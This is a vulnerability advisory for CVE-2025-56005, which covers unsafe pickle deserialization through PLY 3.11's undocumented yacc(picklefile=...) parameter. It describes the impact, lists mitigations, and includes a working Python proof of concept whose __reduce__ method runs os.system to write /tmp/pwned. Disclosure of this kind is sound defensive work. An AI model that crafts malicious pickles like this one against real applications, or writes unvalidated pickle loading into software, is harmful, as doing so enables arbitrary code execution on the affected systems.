CVE ID: CVE‑2025‑56005
Reported by: Ahmed Abd
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`

An undocumented and unsafe feature in the PyPI‑distributed version of PLY 3.11 allows arbitrary code execution when the yacc() function is invoked with the picklefile parameter.

The picklefile parameter causes PLY to deserialize a .pkl file using Python’s pickle.load() without validation. Because Python’s pickle module supports execution of arbitrary code during deserialization (e.g., via __reduce__()), an attacker who can control the supplied pickle file can execute arbitrary code during parser initialization.

This parameter is not documented in the official PLY documentation or GitHub repository, yet it is active in the PyPI release.

attacker can control, replace, or influence the .pkl file passed to yacc(picklefile=...), they can achieve:

• Arbitrary code execution
• Execution during application startup
• Code execution before any parsing logic is reached

This may affect applications that load parser tables from:

• Cached locations
• Shared directories
• CI/CD pipelines
• Configurable or writable paths

• Vulnerability Type: Arbitrary Code Execution
• Attack Type: Context‑dependent
• Attack Vector: Unsafe deserialization of attacker‑controlled pickle file
• Impact: Code execution
• CWE: CWE‑502 (Deserialization of Untrusted Data)

• ply.yacc.yacc(picklefile=...)
• LRTable.read_pickle() in ply/yacc.py

This vulnerability presents elevated risk due to its stealthy nature and potential for persistence.

The picklefile parameter is undocumented in the official PLY documentation and GitHub repository. However, the PyPI‑distributed version of PLY 3.11 includes this functionality and processes the supplied file using pickle.load() without validation.

Because Python’s pickle module permits execution of embedded code during deserialization, a malicious pickle file can execute arbitrary code during parser setup, before any parsing logic is invoked.

At the time of writing, the maintainer has not publicly acknowledged this behavior.

This functionality can be abused to introduce persistent backdoors, particularly in environments where parser table files are:

• Cached on disk
• Shared between users or services
• Generated or reused in CI/CD pipelines
• Loaded from configurable or writable paths

Given the lack of documentation, silent execution path, and the high impact of unsafe deserialization, a CVE assignment is warranted to raise awareness and protect downstream users.

This proof of concept demonstrates arbitrary code execution when a malicious pickle file is supplied via the undocumented picklefile parameter.

The PoC:

• Defines a minimal lexer and parser
• Crafts a malicious pickle payload
• Executes a system command during deserialization

When yacc(picklefile='exploit.pkl') is invoked, arbitrary code is executed during parser initialization.

import pickle
import os
from ply.lex import lex
from ply.yacc import yacc

tokens = ('EXAMPLE',)

def t_EXAMPLE(t):
    r'example'
    return t

def p_sample(p):
    'sample : EXAMPLE'
    pass

class Exploit:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
        return (os.system, (cmd,))

malicious_data = {
    '_tabversion': '3.11',
    '_lr_action': {0: {}},
    '_lr_goto': {0: {}},
    '_lr_productions': [
        (None, 0, 0, 0, Exploit())
    ],
    '_lr_method': 'LALR'
}

with open('exploit.pkl', 'wb') as f:
    pickle.dump(malicious_data, f)

parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')

• Do not use the picklefile parameter with untrusted or externally writable files
• Avoid loading parser tables from user‑controlled locations
• Treat all pickle files as unsafe input
• Prefer regenerating parser tables rather than loading them from disk

• PLY GitHub Repository: https://github.com/dabeaz/ply
• PyPI Package: https://pypi.org/project/ply/
• Python Pickle Documentation: https://docs.python.org/3/library/pickle.html
• Proof of Concept Repository: https://github.com/bohmiiidd/Undocumented-RCE-in-PLY